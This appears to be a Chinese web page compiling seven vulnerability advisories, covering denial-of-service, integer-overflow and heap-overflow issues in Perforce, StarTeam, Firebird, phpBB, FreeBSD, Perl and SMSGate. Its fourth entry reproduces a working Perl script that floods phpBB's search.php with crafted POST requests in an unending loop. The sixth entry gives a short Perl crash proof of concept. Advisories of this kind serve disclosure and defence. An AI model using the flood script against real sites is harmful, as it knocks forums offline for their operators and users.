欢迎来到千学网!
您现在的位置:首页 > 实用文 > 其他范文

Perforce Server多个远程拒绝服务漏洞

时间:2022-10-02 08:57:59 其他范文 收藏本文 下载本文

这次小编在这里给大家整理了Perforce Server多个远程拒绝服务漏洞,本文共7篇,供大家阅读参考。

Perforce Server多个远程拒绝服务漏洞

篇1:Perforce Server多个远程拒绝服务漏洞

受影响系统:Perforce Software Perforce Server <= .3/143793描述:--------------------------------------------------------------------------------BUGTRAQ ID: 28108Perforce软件配置管理系统是客户端/服务器架构的SCM工具,用户可通过P

受影响系统:

Perforce Software Perforce Server <= 2007.3/143793

描述:

--------------------------------------------------------------------------------

BUGTRAQ ID: 28108

Perforce软件配置管理系统是客户端/服务器架构的SCM工具,用户可通过Perforce客户端软件访问其服务端,

如果客户端请求中缺少某些参数的话,由于Perforce服务器中从报文中获得这些值的函数对返回的指针缺少检查,因此可能会触发空指针引用。这个漏洞影响dm-FaultFile、dm-LazyCheck、dm-ResolvedFile、dm-OpenFile、crypto等命令。

如果客户端向Perforce服务器发送了server-DiffFile和server-ReleaseFile命令的话,就会将客户端所提供的32位数用作数组初始化中的元素数;畸形的server-DiffFile命令会强制服务器限制死循环,导致耗尽所有内存和系统资源后服务终止,

<*来源:Luigi Auriemma (aluigi@pivx.com)

链接:marc.info/?l=bugtraq&m=120475134221716&w=2

*>

测试方法:

--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

aluigi.org/poc/perforces.zip

建议:

--------------------------------------------------------------------------------

厂商补丁:

Perforce Software

-----------------

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

www.perforce.com/

篇2:Borland StarTeam 含多个远程溢出及拒绝服务漏洞

受影响系统: Borland StarTeam server <= 10.0.0.57 Borland StarTeam MPX <= 6.7 描述: Borland Starteam是Borland公司ALM生命周期管理的核心工具,是目前市面上最好的软件配置管理工具之一, Starteam服务器没有正确地计算为从客户端所

受影响系统:

Borland StarTeam server 2008 <= 10.0.0.57

Borland StarTeam MPX <= 6.7 描述:

Borland Starteam是Borland公司ALM生命周期管理的核心工具,是目前市面上最好的软件配置管理工具之一。 Starteam服务器没有正确地计算为从客户端所接收到的某些数组所需分配的内存数,导致多个整数溢出漏洞。在PROJECT_LOGIN和SET_SERVER_ACL命令中,有32位从客户端所接收到的用于指定报文中条目数量的数字分别被乘以8(或4,具体取决于文件名名称或规范)和12,然后未经考虑32位的限制便将结果用于分配内存,这可能触发堆溢出,允许攻击者控制某些寄存器,导致执行恶意指令。但攻击者必须拥有有效帐号才能利用这些漏洞。 StarTeam MPX也存在多个溢出和拒绝服务漏洞: ------------------------------------------------------------

A] 剩余数据计算整数溢出

------------------------------------------------------------ STMessageBroker67和STMulticastService67进程所使用的TmsgBufMsgDeserializeEx函数用于对入站数据执行还原序列化操作,

协议由报文中顺序排列的三类数据组成:列表,数组(16字节固定大小)和剩余数据。在计算剩余数据大小时存在整数溢出,如果使用了少于报文中所指定的数组数量的话,就可以触发这个溢出。但成功利用这个漏洞只能导致服务崩溃,因为无法利用任意数据覆盖服务器的内存。 ---------------------------------------------

B] 列表处理堆溢出

--------------------------------------------- 列表中包含的初始32位值指定报文中列表组所占的字节数,其中每个列表为16位大小值,之后为其中所声明数量的数据。由于服务器没有检查目标缓冲区的大小,允许攻击者利用之后的堆溢出导致服务崩溃或执行任意指令。 ---------------------------------------------------

C] 无法分配内存导致进程终止

--------------------------------------------------- 用于计算所要分配的以下数据数量时: 报文大小

列表大小

数组数 * 16

头大小 如果无法分配上述大小数量内存的话,就会导致服务器终止。 厂商补丁:

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: www.borland.com/

篇3:请求远程拒绝服务漏洞

/* CSS Document */

Firebird是一款提供多个ANSI SQL-92功能的关系型数据库,可运行在Linux、Windows和各种Unix平台下,

在Firebird的src/remote/server.cpp文件中,process_packet2函数负责处理从客户端发送过来的报文。这个函数有一个switch语句考虑协议中所定义的所有可能的opcode。

/-----------

src/remote/server.cpp:

...

3404   P_OP p = receive->p_operation;

3405   switch (op)

3406   {

3407   case op_connect:

...

3426   case op_compile:

...

3430   case op_attach:

...

- -----------/

在op_connect_request报文的情况下,执行流进入switch语句的以下case:

/-----------

src/remote/server.cpp:

...

3584   case op_connect_request:

3585       aux_request(port, &receive->p_req, sendL);

3586       break;

- -----------/

在调用aux_request()函数并执行break语句后,执行流到达:

/-----------

src/remote/server.cpp:

...

3652   if (port && port->port_state == state_broken) {

3653       if (!port->port_parent) {

3654           gds__log(“SERVER/process_packet: broken port, server exiting”);

3655           port->disconnect(sendL, receive);

3656           ThreadData::restoreSpecific();

3657           return false;

3658       }

3659       port->disconnect(sendL, receive);

3660       port = NULL;

3661   }

- -----------/

通过在接收到op_connect_request报文时调试fbserver.exe二进制程序可以看出满足了第一个if语句的条件,但没有满足第二个if的条件,因此执行流到达port->disconnect()调用:

/-----------

005ACE2C |> 837E 0C 03          CMP DWORD PTR DS:[ESI+C],3

;port->port_state == state_broken ?

005ACE30 |. 75 1B               JNZ SHORT fbserver.005ACE4D

005ACE32 |. 837E 1C 00          CMP DWORD PTR DS:[ESI+1C],0

;port->port_parent == 0?

005ACE36 |. 75 0A               JNZ SHORT fbserver.005ACE42

;this conditional jump is taken

005ACE38 |. 68 D4D65F00         PUSH fbserver.005FD6D4

; ASCII “SERVER/process_packet: broken port, server exiting”

005ACE3D |.^ E9 44FDFFFF         JMP fbserver.005ACB86

005ACE42 |> 53                  PUSH EBX

; /Arg2

005ACE43 |. 57                  PUSH EDI

; |Arg1

005ACE44 |. 8BCE                MOV ECX,ESI

; |

005ACE46 |. E8 65D7FFFF         CALL

; /port->disconnect(sendL, receive)

- -----------/

根据src/remote/remote.h中的定义,port的类型为struct rem_port,

这种结构类型在src/remote/server.cpp中实现了disconnect()函数:

/-----------

src/remote/server.cpp:

1464   void rem_port::disconnect(PACKET* sendL, PACKET* receiveL)

- -----------/

在这个函数中执行以下代码以释放发送和接收的报文并关闭相关的套接字:

/-----------

src/remote/server.cpp:

[1] [2] 下一页

篇4:phpBB远程拒绝服务漏洞漏洞预警

phpBB远程拒绝服务漏洞

漏洞版本:

phpBB phpBB 3.0.8

phpBB phpBB 3.0.7

phpBB phpBB 3.0.6

phpBB phpBB 3.0.5

phpBB phpBB 3.0.4

phpBB phpBB 3.0.3

phpBB phpBB 3.0.2

phpBB phpBB 3.0.1

phpBB phpBB 3.0

phpBB phpBB 2.0.21

phpBB phpBB 2.0.19

phpBB phpBB 2.0.17

phpBB phpBB 2.0.16

phpBB phpBB 2.0.15

phpBB phpBB 2.0.14

phpBB phpBB 2.0.13

phpBB phpBB 2.0.12

phpBB phpBB 2.0.11

phpBB phpBB 2.0.10

phpBB phpBB 2.0.9

phpBB phpBB 2.0.7

phpBB phpBB 2.0.6

phpBB phpBB 2.0.5

phpBB phpBB 2.0.4

phpBB phpBB 2.0.3

phpBB phpBB 2.0.2

phpBB phpBB 2.0.1

phpBB phpBB 1.4.4

phpBB phpBB 1.4.2

phpBB phpBB 1.4.1

phpBB phpBB 1.2.1

phpBB phpBB 2.0.22

phpBB phpBB 2.0.20

phpBB phpBB 2.0.18

漏洞描述:

Bugtraq ID:65481

phpBB是phpBB组开发的一套开源的使用PHP语言开发的Web论坛软件,该软件具有支持多国语言、支持多种数据库和自定义版面设计等特点。

phpBB中存在远程拒绝服务漏洞。攻击者可利用该漏洞造成受影响应用程序崩溃,拒绝服务合法用户。

<* 参考

www.securityfocus.com/bid/65481

sebug.net/appdir/phpBB

*>

测试方法:

@Sebug.net dis

本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

###########################

# Phpbb Forum Denial of Service Vulnerability

###########################

#!/usr/bin/perl

# Iranian Exploit DataBase

# Phpbb Forum Denial of Service Vulnerability

# Version: All Version

# Vendor site : www.phpbb.com

# Code Written By Amir – iedb.team@gmail.com – o0_iedb_0o@yahoo.com

# Site : Www.IeDb.Ir – Www.IrIsT.Ir

# Fb Page :

www.facebook.com/pages/Exploit-And-Security-Team-iedbir/199266860256538

# Greats : TaK.FaNaR – ErfanMs – Medrik – F@riD – Bl4ck M4n – 0x0ptim0us

- 0Day – Dj.TiniVini – E2MA3N

# l4tr0d3ctism – H-SK33PY – Noter – r3d_s0urc3 – Dr_Evil And All

Members In IeDb.Ir/acc

#####################################

use Socket;

if (@ARGV < 2) { &usage }

$rand=rand(10);

$host = $ARGV[0];

$dir = $ARGV[1];

$host =~ s/(http://)//eg;

for ($i=0; $i<10; $i–)

{

$data =

“securitytoken=guest&do=process&query=%DB%8C%D8%B3%D8%A8%D9%84%D8%B3%DB%8C%D9%84%D8%B3%DB%8C%D8%A8%D9%84%0%0%0%0%0%0%0%0%0%0&submit.x=0&submit.y=0″;

$len = length $data;

$foo = “POST “.$dir.”search.php?do=process HTTP/1.1rn”.

“Accept: * /*rn”.

“Accept-Language: en-gbrn”.

“Content-Type: application/x-www-form-urlencodedrn”.

“Accept-Encoding: gzip, deflatern”.

“User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)rn”.

“Host: $hostrn”.

“Content-Length: $lenrn”.

“Connection: Keep-Alivern”.

“Cache-Control: no-cachernrn”.

“$data”;

my $port = “80″;

my $proto = getprotobyname(‘tcp’);

socket(SOCKET, PF_INET, SOCK_STREAM, $proto);

connect(SOCKET, sockaddr_in($port, inet_aton($host))) || redo;

send(SOCKET,”$foo”, 0);

syswrite STDOUT, “+” ;

}

print “nn”;

system(‘ping $host’);

sub usage {

print “n”;

print “################################################# n”;

print “## Phpbb Forum Denial of Service Vulnerabilityn”;

print “## Discoverd By Amir – iedb.team@gmail.com – Id : o0_iedb_0o n”;

print “## Www.IeDb.Ir – Www.IrIsT.Ir n”;

print “################################################# n”;

print “## [host] [path] n”;

print “## host.com /forum/n”;

print “################################################# n”;

print “n”;

exit();

};

#####################################

# Archive Exploit = www.iedb.ir/exploits-868.html

#####################################

###########################

# Iranian Exploit DataBase = IeDb.Ir [-11-17]

###########################

安全建议:

目前厂商暂无提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

www.phpbb.com/

篇5:FreeBSD I386SetLDT多个本地拒绝服务漏洞

受影响系统:FreeBSD FreeBSD 5.5

FreeBSD FreeBSD 5.4

FreeBSD FreeBSD 5.3

FreeBSD FreeBSD 5.2描述:

BUGTRAQ  ID: 8

CVE(CAN) ID: CVE--4178,CVE-2006-4172

FreeBSD就是一种运行在Intel平台上、可以自由使用的开放源码Unix类系统,

FreeBSD中的i386_set_ldt调用允许用户系统的程序动态管理每个进程的本地描述符表。由于使用了有符号的整数且缺少输入验证,内核中bzero可能会被要求处理很大的参数,漏洞代码如下:

415        int error = 0, i;

416        int largest_ld;

..

449                largest_ld = uap->start + uap->num;

450                if (largest_ld > pldt->ldt_len)

451                        largest_ld = pldt->ldt_len;

452                i = largest_ld - uap->start;

453                bzero(&((union descriptor *)(pldt->ldt_base))[uap->start],

454                    sizeof(union descriptor) * i);

在415和416行,“i”和“largest_ld”变量都是有符的整数。在449行,同时添加了uap->start和uap->num,这两个变量都是用户控制的且没有经过正确的检查。在452行,可以将“i”设置为很大的负值,导致在453行以很大的长度参数调用bzero。无效的内存访问会导致内核忙碌。

i386_set_ldt()系统调用会在LDT中设置当前进程的i386描述符列表。该调用接受一个开始选择器数(start)、包含有将要设置描述符的内存数组(descs),以及将要设置的条目数(num)。用户在通过sysarch()调用i386_set_ldt()时,如果将start参数设置为很低的整数值、将descs设置为非空的值,并将num设置为很高的无符整数值,就会触发largest_ld和descs_size(533和540行)中的整数溢出,导致耗尽所有可用的系统资源(541行)。此外还可以将start参数设置为低整数值、descs设置为空、num设置为很高的无符整数值触发largest_ld(515行)中的整数溢出,导致删除系统中的敏感数据(519和520行)。有漏洞的函数如下:

476 static int

477 i386_set_ldt(td, args)

478        struct thread *td;

479        char *args;

480 {

481        int error = 0, i;

482        int largest_ld;

483        struct mdproc *mdp = &td->td_proc->p_md;

484        struct proc_ldt *pldt = 0;

485        struct i386_ldt_args ua, *uap = &ua;

486        union descriptor *descs, *dp;

487        int descs_size;

488

489        if ((error = copyin(args, uap, sizeof(struct

i386_ldt_args))) < 0)

490                return(error);

491

492 #ifdef  DEBUG

493        printf(“i386_set_ldt: start=%d num=%d descs=%pn”,

494            uap->start, uap->num, (void *)uap->descs);

495 #endif

496

497        if (uap->descs == NULL) {

498                /* Free descriptors */

499                if (uap->start == 0 && uap->num == 0) {

500                        /*

501                          * Treat this as a special case, so userland

needn't

502                          * know magic number NLDT.

503                          */

504                        uap->start = NLDT;

505                        uap->num = MAX_LD - NLDT;

506                }

507                if (uap->start <= LUDATA_SEL || uap->num <= 0)

508                        return (EINVAL);

509                mtx_lock_spin(&sched_lock);

510                pldt = mdp->md_ldt;

511                if (pldt == NULL || uap->start >= pldt->ldt_len) {

512                        mtx_unlock_spin(&sched_lock);

513                        return (0);

514                }

515                largest_ld = uap->start + uap->num;

516                if (largest_ld > pldt->ldt_len)

517                        largest_ld = pldt->ldt_len;

518                i = largest_ld - uap->start;

519                bzero(&((union descriptor

*)(pldt->ldt_base))[uap->start],

520                    sizeof(union descriptor) * i);

521                mtx_unlock_spin(&sched_lock);

522                return (0);

523        }

524

525        if (!(uap->start == LDT_AUTO_ALLOC && uap->num == 1)) {

526                /* complain a for a while if using old methods */

527                if (ldt_warnings++ < NUM_LDT_WARNINGS) {

528                        printf(“Warning: pid %d used static ldt

allocation.n”,

529                            td->td_proc->p_pid);

530                        printf(“See the i386_set_ldt man page for

more infon”);

531                }

532                /* verify range of descriptors to modify */

533                largest_ld = uap->start + uap->num;

534                if (uap->start >= MAX_LD ||

535                    uap->num < 0 || largest_ld > MAX_LD) {

536                        return (EINVAL);

537                }

538        }

539

540        descs_size = uap->num * sizeof(union descriptor);

541        descs = (union descriptor *)kmem_alloc(kernel_map, descs_size);

542        if (descs == NULL)

543                return (ENOMEM);

544        error = copyin(uap->descs, descs, descs_size);

545        if (error) {

546                kmem_free(kernel_map, (vm_offset_t)descs, descs_size);

547                return (error);

548        }

549

<*来源:Adriano Lima (adriano@risesecurity.org)

Rodrigo Rubira Branco (rodrigo@risesecurity.org)

链接:marc.theaimsgroup.com/?l=bugtraq&m=115919812814071&w=2

www.idefense.com/intelligence/vulnerabilities/display.php?id=415

www.idefense.com/intelligence/vulnerabilities/display.php?id=414

*>

建议:

厂商补丁:

FreeBSD

-------

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

www.freebsd.org/security/

篇6:Perl Perlregnumberedbufffetch 函数远程拒绝服务漏洞

影响版本:

Larry Wall Perl 5.x

漏洞描述:

Perl 是一种自由且功能强大的编程语言,它被用作 Web 编程、数据库处理、XML 处理以及系统管理等等 ― 它能够完成所有这些工作,同时仍然是处理小的日常工作的完美工具。

Perl “Perl_reg_numbered_buff_fetch()”函数在实现上存在远程拒绝服务漏洞,远程攻击者可利用此漏洞造成使用受影响perl代码的应用程序终止运行,拒绝服务合法用户,

<*参考

*>

测试方法:

#!/usr/bin/perl

my @x = (“A=B”,“AAAA=/”);

utf8::upgrade $_ for @x;

$x[1] =~ s{/s*$}{};

for (@x) {

m{^([^=]+?)s*=.+$};

}

厂商补丁:

Larry Wall

----------

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

www.perl.org/

篇7:NetWin SMSGate ContentLength远程拒绝服务漏洞

受影响系统: NetWin SmsGate <= 1.1n 描述: SMSGate是用于发送邮件通知短信的短信网关, SMSGate处理畸形HTTP请求时存在漏洞,远程攻击者可能利用此漏洞导致服务器不可用。 SMSGate提供了SMTP/SMS接口和运行在8775端口上的SSL Web管理服务,默认仅

受影响系统:

NetWin SmsGate <= 1.1n 描述:

SMSGate是用于发送邮件通知短信的短信网关,

SMSGate处理畸形HTTP请求时存在漏洞,远程攻击者可能利用此漏洞导致服务器不可用。 SMSGate提供了SMTP/SMS接口和运行在8775端口上的SSL Web管理服务,默认仅可本地(127.0.0.1)访问。如果接收到了超大的HTTP Content-Length值的话,服务器就会试图分配所指定数量的内存,在分配失败的时候会显示调试消息框,要求管理员选择中断应用程序、调试或忽略问题。如果没有选择Ignore键的话,整个服务器都会无法到达,这样用户就无法发送短信,远程管理员无法管理服务器。 厂商补丁:

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: www.netwinsite.com/smsgate/

PHPMySMS远程文件包含漏洞

Discuz! X2.0 SQL多个注入漏洞及修复

漏洞整改报告

经典笑话——发现漏洞

微软高危补丁:Office网络组件在IE的远程控制漏洞

两百多个四个范文

远程学习方法

远程工作计划

远程研修

远程工作总结

《Perforce Server多个远程拒绝服务漏洞(共7篇).doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档

文档为doc格式

点击下载本文文档